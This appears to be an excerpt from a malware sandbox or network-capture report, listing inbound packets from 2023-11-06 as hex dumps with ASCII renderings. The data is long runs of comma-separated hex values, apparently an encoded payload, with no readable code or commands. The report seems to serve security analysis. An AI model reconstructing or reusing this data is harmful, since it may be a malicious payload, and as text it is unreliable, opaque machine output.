2023-11-06 14:35:15 UTC	108	IN	Data Raw: 63 33 2c 61 30 2c 64 62 2c 34 30 2c 39 35 2c 65 61 2c 31 31 66 2c 64 32 2c 36 33 2c 37 37 2c 39 34 2c 61 36 2c 66 37 2c 61 31 2c 37 39 2c 66 31 2c 61 65 2c 61 64 2c 61 30 2c 38 65 2c 37 62 2c 63 64 2c 62 38 2c 38 62 2c 39 37 2c 66 36 2c 61 62 2c 39 63 2c 31 31 31 2c 62 38 2c 31 34 30 2c 61 35 2c 64 32 2c 31 32 63 2c 63 61 2c 31 32 37 2c 39 35 2c 65 35 2c 61 62 2c 65 35 2c 39 63 2c 65 35 2c 34 34 2c 33 34 2c 36 62 2c 62 65 2c 64 38 2c 65 35 2c 65 37 2c 62 36 2c 64 30 2c 63 64 2c 62 61 2c 66 64 2c 66 37 2c 63 39 2c 34 66 2c 33 37 2c 31 34 37 2c 66 33 2c 62 61 2c 31 32 66 2c 61 65 2c 31 31 37 2c 61 32 2c 61 66 2c 61 61 2c 66 66 2c 61 35 2c 65 61 2c 61 32 2c 62 35 2c 39 33 2c 31 33 65 2c 39 64 2c 38 32 2c 37 61 2c 38 39 2c 39 39 2c 31 32 38 2c 62 62 2c 31 35 Data Ascii: c3,a0,db,40,95,ea,11f,d2,63,77,94,a6,f7,a1,79,f1,ae,ad,a0,8e,7b,cd,b8,8b,97,f6,ab,9c,111,b8,140,a5,d2,12c,ca,127,95,e5,ab,e5,9c,e5,44,34,6b,be,d8,e5,e7,b6,d0,cd,ba,fd,f7,c9,4f,37,147,f3,ba,12f,ae,117,a2,af,aa,ff,a5,ea,a2,b5,93,13e,9d,82,7a,89,99,128,bb,15
2023-11-06 14:35:15 UTC	111	IN	Data Raw: 31 33 33 2c 31 30 37 2c 31 31 61 2c 33 66 2c 37 62 2c 31 30 64 2c 64 37 2c 37 65 2c 31 32 39 2c 37 62 2c 31 30 32 2c 39 37 2c 31 34 36 2c 31 34 62 2c 31 32 61 2c 65 66 2c 61 37 2c 31 31 33 2c 35 33 2c 31 32 61 2c 61 37 2c 31 34 38 2c 31 30 63 2c 31 37 30 2c 34 61 2c 34 33 2c 65 38 2c 39 36 2c 31 32 63 2c 31 33 34 2c 31 33 37 2c 37 30 2c 31 32 32 2c 63 65 2c 38 35 2c 31 31 34 2c 37 66 2c 66 39 2c 39 34 2c 31 30 63 2c 35 33 2c 31 32 61 2c 34 63 2c 35 32 2c 36 62 2c 64 63 2c 39 66 2c 31 34 32 2c 37 31 2c 65 65 2c 39 31 2c 31 34 66 2c 31 31 62 2c 31 36 36 2c 35 30 2c 38 36 2c 66 39 2c 38 39 2c 31 30 64 2c 31 30 32 2c 31 33 33 2c 36 36 2c 36 30 2c 31 32 66 2c 65 30 2c 39 33 2c 31 31 33 2c 34 38 2c 31 32 36 2c 38 38 2c 31 32 61 2c 31 32 38 2c 31 31 65 2c 66 34 Data Ascii: 133,107,11a,3f,7b,10d,d7,7e,129,7b,102,97,146,14b,12a,ef,a7,113,53,12a,a7,148,10c,170,4a,43,e8,96,12c,134,137,70,122,ce,85,114,7f,f9,94,10c,53,12a,4c,52,6b,dc,9f,142,71,ee,91,14f,11b,166,50,86,f9,89,10d,102,133,66,60,12f,e0,93,113,48,126,88,12a,128,11e,f4
2023-11-06 14:35:15 UTC	115	IN	Data Raw: 2c 31 31 66 2c 36 66 2c 31 35 65 2c 31 34 64 2c 34 37 2c 31 30 63 2c 31 33 35 2c 31 33 30 2c 38 65 2c 35 30 2c 31 34 32 2c 34 33 2c 33 34 2c 33 32 2c 63 32 2c 31 33 38 2c 31 33 38 2c 35 35 2c 36 35 2c 35 38 2c 31 33 64 2c 31 32 37 2c 62 61 2c 31 33 66 2c 64 64 2c 34 66 2c 33 31 2c 34 65 2c 31 32 64 2c 31 32 36 2c 63 38 2c 37 30 2c 31 32 31 2c 35 61 2c 36 37 2c 36 32 2c 66 39 2c 31 32 32 2c 37 64 2c 64 64 2c 31 35 38 2c 39 63 2c 66 61 2c 31 32 31 2c 61 31 2c 31 32 39 2c 31 32 30 2c 39 39 2c 65 34 2c 31 34 34 2c 31 34 39 2c 35 38 2c 34 36 2c 33 38 2c 34 38 2c 31 33 62 2c 31 30 34 2c 31 31 35 2c 39 66 2c 31 34 35 2c 31 34 33 2c 31 33 34 2c 66 35 2c 31 36 34 2c 31 35 33 2c 31 35 39 2c 31 31 66 2c 64 62 2c 33 38 2c 34 34 2c 37 34 2c 61 32 2c 31 36 34 2c 31 32 Data Ascii: ,11f,6f,15e,14d,47,10c,135,130,8e,50,142,43,34,32,c2,138,138,55,65,58,13d,127,ba,13f,dd,4f,31,4e,12d,126,c8,70,121,5a,67,62,f9,122,7d,dd,158,9c,fa,121,a1,129,120,99,e4,144,149,58,46,38,48,13b,104,115,9f,145,143,134,f5,164,153,159,11f,db,38,44,74,a2,164,12
2023-11-06 14:35:15 UTC	119	IN	Data Raw: 35 34 2c 39 65 2c 62 36 2c 61 66 2c 37 39 2c 38 64 2c 63 32 2c 37 61 2c 64 32 2c 62 64 2c 65 39 2c 62 32 2c 61 36 2c 33 66 2c 34 62 2c 35 31 2c 36 33 2c 35 35 2c 36 35 2c 35 38 2c 34 36 2c 38 61 2c 36 66 2c 61 30 2c 37 36 2c 38 33 2c 33 65 2c 35 38 2c 61 64 2c 62 61 2c 37 32 2c 63 63 2c 63 34 2c 63 61 2c 64 33 2c 63 62 2c 39 62 2c 61 35 2c 65 38 2c 63 33 2c 64 63 2c 62 39 2c 39 37 2c 61 62 2c 39 35 2c 61 35 2c 36 31 2c 62 65 2c 63 34 2c 62 39 2c 63 61 2c 37 38 2c 61 37 2c 61 36 2c 35 39 2c 64 31 2c 62 37 2c 63 33 2c 39 36 2c 62 62 2c 64 63 2c 63 30 2c 37 32 2c 64 66 2c 63 33 2c 37 61 2c 64 33 2c 64 31 2c 39 39 2c 61 38 2c 39 34 2c 63 65 2c 64 35 2c 62 30 2c 39 37 2c 38 36 2c 35 34 2c 61 34 2c 62 36 2c 62 66 2c 64 37 2c 62 65 2c 64 32 2c 62 64 2c 36 36 2c Data Ascii: 54,9e,b6,af,79,8d,c2,7a,d2,bd,e9,b2,a6,3f,4b,51,63,55,65,58,46,8a,6f,a0,76,83,3e,58,ad,ba,72,cc,c4,ca,d3,cb,9b,a5,e8,c3,dc,b9,97,ab,95,a5,61,be,c4,b9,ca,78,a7,a6,59,d1,b7,c3,96,bb,dc,c0,72,df,c3,7a,d3,d1,99,a8,94,ce,d5,b0,97,86,54,a4,b6,bf,d7,be,d2,bd,66,
2023-11-06 14:35:15 UTC	123	IN	Data Raw: 2c 38 38 2c 36 63 2c 34 32 2c 39 34 2c 65 36 2c 63 39 2c 64 34 2c 62 64 2c 64 38 2c 62 30 2c 36 65 2c 35 32 2c 34 31 2c 35 31 2c 36 33 2c 35 35 2c 36 35 2c 35 38 2c 34 36 2c 33 64 2c 33 39 2c 37 30 2c 31 30 33 2c 35 61 2c 33 31 2c 34 65 2c 36 63 2c 34 63 2c 35 32 2c 36 62 2c 35 34 2c 37 37 2c 36 37 2c 36 32 2c 66 38 2c 34 38 2c 37 34 2c 35 61 2c 36 64 2c 34 62 2c 37 37 2c 34 33 2c 33 34 2c 63 38 2c 34 31 2c 35 31 2c 31 32 33 2c 35 39 2c 36 35 2c 35 38 2c 34 36 2c 33 38 2c 33 39 2c 37 30 2c 34 33 2c 64 63 2c 33 31 2c 34 65 2c 31 32 63 2c 35 34 2c 35 32 2c 36 62 2c 35 34 2c 35 61 2c 36 37 2c 36 32 2c 33 38 2c 64 32 2c 37 34 2c 35 61 2c 31 32 64 2c 35 33 2c 37 37 2c 34 33 2c 33 34 2c 33 32 2c 34 31 2c 35 31 2c 36 33 2c 65 34 2c 36 35 2c 35 38 2c 31 30 36 2c Data Ascii: ,88,6c,42,94,e6,c9,d4,bd,d8,b0,6e,52,41,51,63,55,65,58,46,3d,39,70,103,5a,31,4e,6c,4c,52,6b,54,77,67,62,f8,48,74,5a,6d,4b,77,43,34,c8,41,51,123,59,65,58,46,38,39,70,43,dc,31,4e,12c,54,52,6b,54,5a,67,62,38,d2,74,5a,12d,53,77,43,34,32,41,51,63,e4,65,58,106,
2023-11-06 14:35:15 UTC	127	IN	Data Raw: 2c 64 62 2c 36 38 2c 65 33 2c 33 39 2c 34 35 2c 37 35 2c 35 62 2c 36 65 2c 34 63 2c 37 38 2c 34 34 2c 33 35 2c 33 33 2c 34 32 2c 35 32 2c 36 34 2c 35 36 2c 36 36 2c 35 39 2c 34 37 2c 33 39 2c 33 61 2c 37 31 2c 34 34 2c 35 30 2c 33 32 2c 34 66 2c 36 64 2c 34 64 2c 35 33 2c 36 63 2c 35 35 2c 35 62 2c 36 38 2c 36 33 2c 33 39 2c 34 35 2c 37 35 2c 35 62 2c 36 65 2c 34 63 2c 37 38 2c 34 34 2c 33 35 2c 34 32 2c 34 31 2c 36 31 2c 36 33 2c 36 35 2c 36 35 2c 36 38 2c 34 36 2c 34 38 2c 33 39 2c 38 30 2c 34 33 2c 64 31 2c 33 32 2c 64 30 2c 36 64 2c 63 65 2c 35 33 2c 65 64 2c 35 35 2c 64 63 2c 36 38 2c 65 34 2c 33 39 2c 34 36 2c 37 35 2c 35 63 2c 36 65 2c 34 64 2c 37 38 2c 34 35 2c 33 35 2c 33 34 2c 34 32 2c 35 33 2c 36 34 2c 35 37 2c 36 36 2c 35 61 2c 34 37 2c 33 61 Data Ascii: ,db,68,e3,39,45,75,5b,6e,4c,78,44,35,33,42,52,64,56,66,59,47,39,3a,71,44,50,32,4f,6d,4d,53,6c,55,5b,68,63,39,45,75,5b,6e,4c,78,44,35,42,41,61,63,65,65,68,46,48,39,80,43,d1,32,d0,6d,ce,53,ed,55,dc,68,e4,39,46,75,5c,6e,4d,78,45,35,34,42,53,64,57,66,5a,47,3a
2023-11-06 14:35:15 UTC	131	IN	Data Raw: 39 39 2c 61 62 2c 65 39 2c 34 33 2c 39 33 2c 39 36 2c 62 31 2c 36 63 2c 39 61 2c 63 31 2c 65 31 2c 35 34 2c 61 39 2c 63 61 2c 64 36 2c 33 38 2c 39 37 2c 64 39 2c 63 61 2c 36 64 2c 38 63 2c 65 63 2c 61 61 2c 33 34 2c 37 63 2c 62 36 2c 62 64 2c 36 33 2c 39 66 2c 64 61 2c 63 36 2c 34 36 2c 38 35 2c 39 61 2c 65 39 2c 34 33 2c 39 30 2c 61 31 2c 63 30 2c 36 63 2c 39 39 2c 62 33 2c 64 64 2c 35 34 2c 61 30 2c 63 63 2c 63 34 2c 33 38 2c 38 65 2c 64 35 2c 63 38 2c 36 64 2c 39 65 2c 64 38 2c 62 37 2c 61 39 2c 61 34 2c 61 35 2c 62 32 2c 64 63 2c 35 35 2c 36 35 2c 35 38 2c 34 36 2c 37 65 2c 61 62 2c 64 39 2c 61 37 2c 62 30 2c 61 61 2c 34 65 2c 36 63 2c 61 30 2c 62 61 2c 65 30 2c 63 36 2c 63 64 2c 63 62 2c 63 33 2c 62 31 2c 34 34 2c 37 34 2c 35 61 2c 36 64 2c 61 32 2c Data Ascii: 99,ab,e9,43,93,96,b1,6c,9a,c1,e1,54,a9,ca,d6,38,97,d9,ca,6d,8c,ec,aa,34,7c,b6,bd,63,9f,da,c6,46,85,9a,e9,43,90,a1,c0,6c,99,b3,dd,54,a0,cc,c4,38,8e,d5,c8,6d,9e,d8,b7,a9,a4,a5,b2,dc,55,65,58,46,7e,ab,d9,a7,b0,aa,4e,6c,a0,ba,e0,c6,cd,cb,c3,b1,44,74,5a,6d,a2,
2023-11-06 14:35:15 UTC	136	IN	Data Raw: 2c 61 65 2c 34 62 2c 37 37 2c 62 31 2c 33 37 2c 38 38 2c 61 61 2c 63 33 2c 64 37 2c 63 61 2c 63 36 2c 63 34 2c 38 37 2c 61 34 2c 61 35 2c 64 66 2c 61 36 2c 34 66 2c 33 31 2c 63 34 2c 36 64 2c 39 33 2c 62 37 2c 64 66 2c 61 31 2c 63 39 2c 63 62 2c 64 37 2c 61 34 2c 61 39 2c 62 63 2c 62 62 2c 64 62 2c 61 66 2c 65 33 2c 61 38 2c 37 35 2c 33 32 2c 34 31 2c 35 33 2c 36 36 2c 61 38 2c 63 61 2c 63 63 2c 38 62 2c 61 36 2c 61 66 2c 64 39 2c 62 35 2c 62 65 2c 39 66 2c 62 62 2c 64 31 2c 62 61 2c 63 36 2c 63 31 2c 62 35 2c 63 63 2c 64 30 2c 63 33 2c 39 61 2c 62 30 2c 64 39 2c 62 31 2c 36 64 2c 31 33 38 2c 37 37 2c 38 39 2c 61 36 2c 39 37 2c 61 36 2c 39 34 2c 64 32 2c 63 33 2c 64 38 2c 63 37 2c 62 32 2c 39 64 2c 33 39 2c 65 32 2c 34 35 2c 39 65 2c 61 31 2c 62 33 2c 64 Data Ascii: ,ae,4b,77,b1,37,88,aa,c3,d7,ca,c6,c4,87,a4,a5,df,a6,4f,31,c4,6d,93,b7,df,a1,c9,cb,d7,a4,a9,bc,bb,db,af,e3,a8,75,32,41,53,66,a8,ca,cc,8b,a6,af,d9,b5,be,9f,bb,d1,ba,c6,c1,b5,cc,d0,c3,9a,b0,d9,b1,6d,138,77,89,a6,97,a6,94,d2,c3,d8,c7,b2,9d,39,e2,45,9e,a1,b3,d
2023-11-06 14:35:15 UTC	140	IN	Data Raw: 2c 31 34 62 2c 31 35 65 2c 66 30 2c 31 36 37 2c 31 33 31 2c 31 32 35 2c 39 66 2c 36 35 2c 38 63 2c 62 38 2c 31 34 36 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 36 30 2c 31 32 32 2c 31 33 64 2c 31 35 63 2c 31 33 32 2c 31 34 32 2c 31 32 63 2c 31 34 35 2c 31 34 62 2c 39 38 2c 31 35 31 2c 31 32 39 2c 31 33 35 2c 62 39 2c 31 34 62 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 65 35 2c 35 33 2c 31 34 30 2c 31 35 34 2c 31 34 36 2c 31 33 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 34 61 2c 31 35 66 2c 31 33 34 2c 31 34 30 2c 31 32 32 2c 66 66 2c 31 35 64 2c 31 33 64 2c 31 32 33 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 31 35 36 2c 31 35 33 2c 31 32 39 2c 31 33 31 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 33 Data Ascii: ,14b,15e,f0,167,131,125,9f,65,8c,b8,146,156,149,137,129,12a,161,134,60,122,13d,15c,132,142,12c,145,14b,98,151,129,135,b9,14b,15e,13c,168,134,125,e5,53,140,154,146,136,149,137,129,4a,15f,134,140,122,ff,15d,13d,123,15c,145,14b,156,153,129,131,165,14b,15e,13
2023-11-06 14:35:15 UTC	143	IN	Data Raw: 2c 62 36 2c 36 31 2c 64 35 2c 65 65 2c 65 66 2c 39 36 2c 65 66 2c 31 31 32 2c 36 63 2c 62 61 2c 61 62 2c 62 31 2c 38 63 2c 35 65 2c 31 33 34 2c 31 35 33 2c 34 66 2c 35 63 2c 31 35 33 2c 31 31 35 2c 31 35 33 2c 34 63 2c 31 30 30 2c 31 34 30 2c 38 61 2c 34 66 2c 64 36 2c 36 33 2c 31 32 63 2c 31 34 38 2c 61 64 2c 63 63 2c 31 31 36 2c 36 32 2c 38 34 2c 31 36 32 2c 66 38 2c 31 34 32 2c 38 61 2c 31 34 39 2c 31 35 63 2c 64 38 2c 35 34 2c 31 32 33 2c 65 35 2c 31 33 39 2c 37 30 2c 37 37 2c 38 64 2c 39 34 2c 63 35 2c 37 35 2c 31 32 32 2c 61 65 2c 66 64 2c 31 30 39 2c 35 62 2c 39 39 2c 35 66 2c 35 38 2c 61 65 2c 31 33 32 2c 61 31 2c 31 32 39 2c 36 38 2c 31 32 35 2c 35 61 2c 66 37 2c 36 66 2c 31 32 61 2c 31 30 38 2c 31 32 64 2c 31 33 37 2c 35 32 2c 31 33 34 2c 38 33 Data Ascii: ,b6,61,d5,ee,ef,96,ef,112,6c,ba,ab,b1,8c,5e,134,153,4f,5c,153,115,153,4c,100,140,8a,4f,d6,63,12c,148,ad,cc,116,62,84,162,f8,142,8a,149,15c,d8,54,123,e5,139,70,77,8d,94,c5,75,122,ae,fd,109,5b,99,5f,58,ae,132,a1,129,68,125,5a,f7,6f,12a,108,12d,137,52,134,83
2023-11-06 14:35:15 UTC	147	IN	Data Raw: 31 35 37 2c 31 32 38 2c 65 31 2c 36 30 2c 31 33 38 2c 64 62 2c 63 36 2c 65 62 2c 37 32 2c 31 34 64 2c 39 36 2c 61 31 2c 39 35 2c 35 38 2c 38 66 2c 65 33 2c 39 31 2c 37 31 2c 31 33 33 2c 31 35 39 2c 66 35 2c 64 39 2c 62 66 2c 64 36 2c 61 37 2c 62 64 2c 36 31 2c 31 30 63 2c 35 34 2c 64 32 2c 31 33 61 2c 61 36 2c 64 37 2c 35 66 2c 35 66 2c 35 66 2c 64 32 2c 62 38 2c 62 34 2c 39 61 2c 35 34 2c 39 61 2c 39 63 2c 61 61 2c 31 34 33 2c 31 31 61 2c 37 30 2c 31 33 63 2c 37 64 2c 63 62 2c 36 33 2c 64 64 2c 61 65 2c 31 34 64 2c 63 32 2c 31 30 62 2c 62 31 2c 65 30 2c 31 32 62 2c 38 37 2c 31 30 30 2c 37 64 2c 31 35 31 2c 38 39 2c 62 62 2c 31 30 64 2c 33 39 2c 39 63 2c 64 32 2c 36 33 2c 34 66 2c 31 32 33 2c 31 33 65 2c 63 62 2c 63 34 2c 31 30 39 2c 31 32 38 2c 63 37 2c Data Ascii: 157,128,e1,60,138,db,c6,eb,72,14d,96,a1,95,58,8f,e3,91,71,133,159,f5,d9,bf,d6,a7,bd,61,10c,54,d2,13a,a6,d7,5f,5f,5f,d2,b8,b4,9a,54,9a,9c,aa,143,11a,70,13c,7d,cb,63,dd,ae,14d,c2,10b,b1,e0,12b,87,100,7d,151,89,bb,10d,39,9c,d2,63,4f,123,13e,cb,c4,109,128,c7,
2023-11-06 14:35:15 UTC	151	IN	Data Raw: 63 2c 31 33 37 2c 31 30 65 2c 65 34 2c 35 64 2c 62 64 2c 37 35 2c 65 30 2c 31 32 32 2c 65 62 2c 61 36 2c 62 65 2c 61 63 2c 64 64 2c 31 31 64 2c 37 39 2c 65 66 2c 36 36 2c 31 35 63 2c 36 30 2c 36 35 2c 65 38 2c 66 35 2c 36 30 2c 31 32 32 2c 31 30 65 2c 62 62 2c 61 37 2c 66 32 2c 63 65 2c 31 30 31 2c 62 33 2c 64 35 2c 65 31 2c 62 61 2c 31 30 30 2c 31 33 34 2c 31 34 35 2c 62 36 2c 39 63 2c 62 61 2c 62 38 2c 61 30 2c 31 33 39 2c 65 39 2c 31 30 31 2c 63 62 2c 31 32 33 2c 31 34 38 2c 31 30 63 2c 65 30 2c 63 33 2c 63 63 2c 39 38 2c 63 30 2c 33 65 2c 62 36 2c 31 34 31 2c 38 39 2c 64 65 2c 39 30 2c 62 39 2c 31 34 31 2c 63 39 2c 39 61 2c 61 63 2c 31 33 34 2c 31 30 62 2c 38 38 2c 31 32 38 2c 39 37 2c 31 33 63 2c 64 65 2c 63 33 2c 31 30 36 2c 62 31 2c 31 32 61 2c 36 Data Ascii: c,137,10e,e4,5d,bd,75,e0,122,eb,a6,be,ac,dd,11d,79,ef,66,15c,60,65,e8,f5,60,122,10e,bb,a7,f2,ce,101,b3,d5,e1,ba,100,134,145,b6,9c,ba,b8,a0,139,e9,101,cb,123,148,10c,e0,c3,cc,98,c0,3e,b6,141,89,de,90,b9,141,c9,9a,ac,134,10b,88,128,97,13c,de,c3,106,b1,12a,6
2023-11-06 14:35:15 UTC	155	IN	Data Raw: 65 37 2c 31 31 35 2c 37 63 2c 64 30 2c 64 66 2c 66 30 2c 39 63 2c 39 61 2c 61 34 2c 34 38 2c 63 34 2c 66 35 2c 62 39 2c 31 32 38 2c 63 38 2c 63 65 2c 66 64 2c 63 37 2c 65 36 2c 37 36 2c 39 65 2c 36 61 2c 39 63 2c 38 37 2c 36 61 2c 31 31 39 2c 34 65 2c 65 63 2c 63 33 2c 61 63 2c 66 64 2c 63 62 2c 39 65 2c 35 38 2c 34 63 2c 31 34 63 2c 35 66 2c 65 34 2c 65 65 2c 38 66 2c 35 34 2c 38 62 2c 37 38 2c 31 30 34 2c 64 64 2c 31 33 36 2c 31 34 61 2c 31 35 38 2c 31 35 37 2c 62 37 2c 61 37 2c 62 39 2c 64 34 2c 66 35 2c 36 33 2c 63 32 2c 63 61 2c 31 33 39 2c 36 30 2c 31 30 63 2c 65 64 2c 39 37 2c 31 30 36 2c 65 63 2c 66 39 2c 37 35 2c 31 31 33 2c 64 61 2c 31 30 39 2c 37 32 2c 31 32 33 2c 66 64 2c 37 63 2c 65 62 2c 37 36 2c 66 33 2c 66 32 2c 31 33 63 2c 62 32 2c 39 31 Data Ascii: e7,115,7c,d0,df,f0,9c,9a,a4,48,c4,f5,b9,128,c8,ce,fd,c7,e6,76,9e,6a,9c,87,6a,119,4e,ec,c3,ac,fd,cb,9e,58,4c,14c,5f,e4,ee,8f,54,8b,78,104,dd,136,14a,158,157,b7,a7,b9,d4,f5,63,c2,ca,139,60,10c,ed,97,106,ec,f9,75,113,da,109,72,123,fd,7c,eb,76,f3,f2,13c,b2,91
2023-11-06 14:35:15 UTC	159	IN	Data Raw: 2c 31 30 36 2c 31 33 37 2c 63 38 2c 33 62 2c 65 63 2c 35 36 2c 37 35 2c 37 35 2c 65 33 2c 31 35 66 2c 37 31 2c 63 32 2c 65 31 2c 65 62 2c 61 32 2c 39 35 2c 31 32 37 2c 31 31 63 2c 37 34 2c 66 37 2c 31 32 66 2c 39 38 2c 31 36 33 2c 63 62 2c 31 30 33 2c 61 38 2c 61 38 2c 65 35 2c 38 39 2c 64 61 2c 31 30 65 2c 31 32 63 2c 31 31 65 2c 31 32 38 2c 36 34 2c 62 36 2c 36 65 2c 66 39 2c 35 63 2c 31 32 33 2c 38 35 2c 38 38 2c 66 63 2c 61 64 2c 66 63 2c 31 33 32 2c 39 35 2c 38 33 2c 66 35 2c 33 64 2c 63 35 2c 66 66 2c 35 38 2c 31 34 30 2c 37 63 2c 31 32 33 2c 31 34 64 2c 62 37 2c 63 31 2c 64 35 2c 37 38 2c 64 66 2c 31 32 63 2c 61 33 2c 35 36 2c 61 63 2c 35 36 2c 61 32 2c 35 61 2c 31 33 65 2c 38 61 2c 31 34 31 2c 65 31 2c 39 63 2c 31 32 30 2c 31 31 36 2c 37 36 2c 61 Data Ascii: ,106,137,c8,3b,ec,56,75,75,e3,15f,71,c2,e1,eb,a2,95,127,11c,74,f7,12f,98,163,cb,103,a8,a8,e5,89,da,10e,12c,11e,128,64,b6,6e,f9,5c,123,85,88,fc,ad,fc,132,95,83,f5,3d,c5,ff,58,140,7c,123,14d,b7,c1,d5,78,df,12c,a3,56,ac,56,a2,5a,13e,8a,141,e1,9c,120,116,76,a
2023-11-06 14:35:15 UTC	163	IN	Data Raw: 35 62 2c 63 33 2c 62 38 2c 31 32 30 2c 31 30 32 2c 61 35 2c 36 64 2c 61 65 2c 62 36 2c 61 31 2c 38 30 2c 63 37 2c 63 65 2c 31 32 62 2c 61 62 2c 35 38 2c 65 32 2c 64 33 2c 31 30 39 2c 38 31 2c 31 30 61 2c 31 32 36 2c 31 33 37 2c 33 38 2c 38 37 2c 31 34 66 2c 36 38 2c 65 34 2c 34 32 2c 63 33 2c 36 65 2c 31 32 31 2c 63 32 2c 37 35 2c 37 64 2c 63 62 2c 31 33 32 2c 37 35 2c 38 62 2c 31 31 65 2c 31 36 32 2c 64 32 2c 31 31 63 2c 31 34 39 2c 61 37 2c 31 33 34 2c 38 65 2c 65 38 2c 38 64 2c 65 64 2c 61 30 2c 62 64 2c 31 34 37 2c 62 65 2c 39 33 2c 31 30 32 2c 39 33 2c 65 36 2c 64 30 2c 31 31 31 2c 34 66 2c 31 30 63 2c 31 30 30 2c 31 30 34 2c 61 32 2c 31 33 61 2c 62 30 2c 63 61 2c 31 36 31 2c 64 34 2c 61 65 2c 65 61 2c 64 65 2c 61 34 2c 62 31 2c 61 32 2c 31 35 64 2c Data Ascii: 5b,c3,b8,120,102,a5,6d,ae,b6,a1,80,c7,ce,12b,ab,58,e2,d3,109,81,10a,126,137,38,87,14f,68,e4,42,c3,6e,121,c2,75,7d,cb,132,75,8b,11e,162,d2,11c,149,a7,134,8e,e8,8d,ed,a0,bd,147,be,93,102,93,e6,d0,111,4f,10c,100,104,a2,13a,b0,ca,161,d4,ae,ea,de,a4,b1,a2,15d,
2023-11-06 14:35:15 UTC	168	IN	Data Raw: 2c 66 65 2c 37 38 2c 39 64 2c 31 32 63 2c 31 30 61 2c 31 35 34 2c 31 31 65 2c 35 34 2c 35 64 2c 31 35 63 2c 66 34 2c 61 61 2c 63 62 2c 38 62 2c 66 66 2c 66 61 2c 39 61 2c 65 65 2c 37 35 2c 31 31 37 2c 62 37 2c 36 37 2c 62 30 2c 64 32 2c 66 37 2c 31 32 38 2c 31 30 64 2c 61 31 2c 31 31 31 2c 64 64 2c 37 30 2c 31 30 62 2c 37 34 2c 64 61 2c 61 66 2c 35 62 2c 31 34 38 2c 63 32 2c 37 38 2c 37 65 2c 61 38 2c 31 30 65 2c 31 32 32 2c 65 65 2c 61 30 2c 37 31 2c 66 31 2c 66 31 2c 61 30 2c 31 31 66 2c 38 30 2c 64 62 2c 38 30 2c 31 33 30 2c 63 62 2c 64 66 2c 61 37 2c 31 35 38 2c 65 62 2c 37 34 2c 63 61 2c 31 32 62 2c 61 66 2c 37 30 2c 31 31 31 2c 39 33 2c 31 34 61 2c 61 64 2c 36 38 2c 38 32 2c 35 64 2c 39 34 2c 61 65 2c 31 35 61 2c 64 38 2c 37 30 2c 37 39 2c 31 30 62 Data Ascii: ,fe,78,9d,12c,10a,154,11e,54,5d,15c,f4,aa,cb,8b,ff,fa,9a,ee,75,117,b7,67,b0,d2,f7,128,10d,a1,111,dd,70,10b,74,da,af,5b,148,c2,78,7e,a8,10e,122,ee,a0,71,f1,f1,a0,11f,80,db,80,130,cb,df,a7,158,eb,74,ca,12b,af,70,111,93,14a,ad,68,82,5d,94,ae,15a,d8,70,79,10b
2023-11-06 14:35:15 UTC	172	IN	Data Raw: 30 2c 31 30 35 2c 31 30 37 2c 38 30 2c 36 66 2c 64 30 2c 31 35 35 2c 36 36 2c 31 31 38 2c 31 32 30 2c 31 31 64 2c 66 39 2c 31 34 62 2c 64 39 2c 36 36 2c 61 63 2c 61 63 2c 66 38 2c 37 31 2c 64 30 2c 36 62 2c 65 30 2c 37 31 2c 35 63 2c 31 30 36 2c 31 30 34 2c 31 34 65 2c 38 32 2c 64 39 2c 31 34 31 2c 31 32 64 2c 34 34 2c 31 31 64 2c 63 34 2c 36 39 2c 65 61 2c 38 34 2c 63 64 2c 36 36 2c 65 33 2c 31 33 36 2c 65 32 2c 31 31 65 2c 36 63 2c 31 32 66 2c 36 39 2c 31 30 36 2c 62 64 2c 38 34 2c 66 31 2c 37 39 2c 35 37 2c 38 32 2c 31 30 65 2c 66 65 2c 64 62 2c 31 32 32 2c 31 32 30 2c 31 34 61 2c 31 30 37 2c 39 39 2c 31 37 32 2c 63 63 2c 36 37 2c 66 65 2c 66 34 2c 31 30 39 2c 31 33 64 2c 31 32 63 2c 31 35 62 2c 36 63 2c 65 37 2c 35 64 2c 38 63 2c 66 33 2c 37 34 2c 31 Data Ascii: 0,105,107,80,6f,d0,155,66,118,120,11d,f9,14b,d9,66,ac,ac,f8,71,d0,6b,e0,71,5c,106,104,14e,82,d9,141,12d,44,11d,c4,69,ea,84,cd,66,e3,136,e2,11e,6c,12f,69,106,bd,84,f1,79,57,82,10e,fe,db,122,120,14a,107,99,172,cc,67,fe,f4,109,13d,12c,15b,6c,e7,5d,8c,f3,74,1
2023-11-06 14:35:15 UTC	175	IN	Data Raw: 62 2c 31 32 33 2c 31 33 32 2c 31 33 63 2c 31 32 61 2c 39 34 2c 31 35 34 2c 63 65 2c 31 30 62 2c 31 32 39 2c 31 32 61 2c 31 35 64 2c 31 31 34 2c 36 36 2c 39 61 2c 64 66 2c 31 34 32 2c 31 31 32 2c 31 34 33 2c 31 33 34 2c 31 33 66 2c 31 34 62 2c 31 35 38 2c 31 32 38 2c 31 30 39 2c 66 34 2c 31 31 65 2c 31 31 63 2c 65 63 2c 31 31 34 2c 31 35 61 2c 31 33 34 2c 31 32 35 2c 66 38 2c 62 66 2c 62 39 2c 31 35 34 2c 31 34 36 2c 31 34 63 2c 31 32 31 2c 63 61 2c 31 32 39 2c 31 32 61 2c 31 35 37 2c 31 30 63 2c 31 30 36 2c 31 32 32 2c 31 33 66 2c 31 35 37 2c 31 31 33 2c 64 35 2c 31 35 61 2c 63 61 2c 31 31 66 2c 31 35 38 2c 31 35 33 2c 31 32 35 2c 31 31 35 2c 31 32 36 2c 37 39 2c 31 35 36 2c 31 31 65 2c 31 34 30 2c 31 31 64 2c 31 32 35 2c 31 32 33 2c 31 30 37 2c 63 66 2c Data Ascii: b,123,132,13c,12a,94,154,ce,10b,129,12a,15d,114,66,9a,df,142,112,143,134,13f,14b,158,128,109,f4,11e,11c,ec,114,15a,134,125,f8,bf,b9,154,146,14c,121,ca,129,12a,157,10c,106,122,13f,157,113,d5,15a,ca,11f,158,153,125,115,126,79,156,11e,140,11d,125,123,107,cf,
